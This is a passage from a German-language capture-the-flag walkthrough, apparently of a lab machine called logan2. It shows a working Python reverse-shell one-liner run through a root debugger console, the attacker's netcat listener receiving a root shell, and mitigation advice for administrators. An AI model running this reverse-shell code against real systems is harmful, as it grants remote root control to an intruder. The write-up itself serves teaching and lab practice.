import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4448));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
Analyse: In der Root-Debugger-Konsole auf Port 8000 führe ich einen Python-Code aus, der eine Reverse Shell initiiert. Der Code ist import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4448));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);. Dieser Code erstellt einen Socket, verbindet ihn zu meinem Kali-System (192.168.2.199) auf Port 4448 (wo mein Netcat-Listener lauscht), dupliziert die Standard-Input/Output/Error-File-Deskriptoren, um sie auf diesen Socket umzuleiten, und startet dann eine interaktive Bash-Shell (/bin/bash -i), deren Ein- und Ausgabe über die Netzwerkverbindung zu meinem Kali-System läuft. Da dieser Code über die Root-Debugger-Konsole ausgeführt wird, läuft er mit Root-Berechtigungen. Für Laien: In dem 'Geheimzugangsprogramm' (Debugger) sage ich dem Computer in 'Python-Sprache': 'Rufe meinen Computer auf der 'Telefonleitung' 4448 an, und leite dann alles, was du normalerweise auf dem Bildschirm zeigst oder was ich dir über die Tastatur eingebe, über diese 'Telefonleitung' um. Dann starte ein 'Befehlsprogramm' (Bash-Shell).' Für Experten: Dies ist ein Standard-Python-Code-Snippet zur Erzeugung einer Reverse Shell. Die Ausführung dieses Codes über die Root-Debugger-Konsole ermöglicht die Transition von RCE zu einer stabilen, interaktiven Shell, die für die weitere Post-Exploitation komfortabler ist. Die Verwendung von subprocess.call(["/bin/bash","-i"]) ist eine gängige Methode zum Starten einer interaktiven Shell.
Bewertung: Der Befehl zur Initiierung der Root-Reverse-Shell ist korrekt konstruiert. Seine Ausführung in der Root-Debugger-Konsole sollte mir sofort eine Root-Shell auf meinem Kali-Listener verschaffen.
Empfehlung (Pentester): Ich führe diesen Befehl in der Konsole aus und warte auf die eingehende Verbindung auf meinem Netcat-Listener auf Port 4448. Sobald die Verbindung steht, habe ich eine interaktive Root-Shell.
Empfehlung (Admin): Überwachen Sie die Ausführung von Systembefehlen über Debugger oder andere RCE-Vektoren. Implementieren Sie Application Whitelisting, um die Ausführung unbekannter oder bösartiger Skripte oder Binaries zu verhindern.
listening on [any] 4448 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.35] 55736 bash: initialize_job_control: no job control in background: Bad file descriptor bash: no job control in this shell root@logan2:/home/git#
Analyse: Ich zeige erneut die Ausgabe meines Netcat-Listeners auf Port 4448 auf meinem Kali-System. Nach der Ausführung des Python-Reverse-Shell-Codes in der Root-Debugger-Konsole empfängt mein Listener eine Verbindung vom Zielsystem (connect to [192.168.2.199] from (UNKNOWN) [192.168.2.35] 55736). Nach den typischen Meldungen für eine einfache Netcat-Shell (bash: cannot set terminal process group...) erscheint der Shell-Prompt root@logan2:/home/git#. Das Hashtag (#) am Ende des Prompts ist die Standardanzeige für eine Root-Shell auf Linux-Systemen. Der Prompt zeigt auch den Hostnamen (logan2) und das aktuelle Verzeichnis (/home/git, das Startverzeichnis des Gitea-Benutzers, von wo aus wahrscheinlich das Python-Skript gestartet wurde, bevor es die Shell übergab). Für Laien: Mein Computer hat den Anruf vom Zielcomputer auf 'Telefonleitung' 4448 entgegengenommen, und jetzt sehe ich ein 'Befehlsfenster' (Shell) vom Zielcomputer direkt auf meinem Bildschirm. Und fantastisch – das Zeichen am Ende (#) zeigt, dass ich jetzt der Super-Administrator (root) bin! Ich habe volle Kontrolle! Für Experten: Der erfolgreiche Empfang der Reverse Shell auf Port 4448 mit dem Root-Prompt (#) ist der definitive Beweis für die erfolgreiche Privilegien-Eskalation auf Root-Ebene. Ich habe nun eine stabile, interaktive Root-Shell auf dem Zielsystem.
Bewertung: Fantastisch! Root-Zugriff ist etabliert. Ich habe eine Root-Shell auf dem Zielsystem erhalten. Dies ist der volle Systemkompromiss.
Empfehlung (Pentester): Mein Ziel ist erreicht. Ich werde nun die Root-Flag finden und den Test abschließen. Das System steht mir mit Root-Rechten vollständig zur Verfügung.
Empfehlung (Admin): Dies ist die schwerwiegendste Kompromittierung. Das System hat Root-Rechte verloren. Nehmen Sie das System sofort vom Netz, führen Sie eine forensische Analyse durch, identifizieren Sie die genaue Ursache der Sudo-Fehlkonfiguration und des Debugger-Problems, patchen Sie das System und stellen Sie es von einem sicheren Backup wieder her. Implementieren Sie umfassende Sicherheitsmaßnahmen, um zukünftige Kompromittierungen zu verhindern.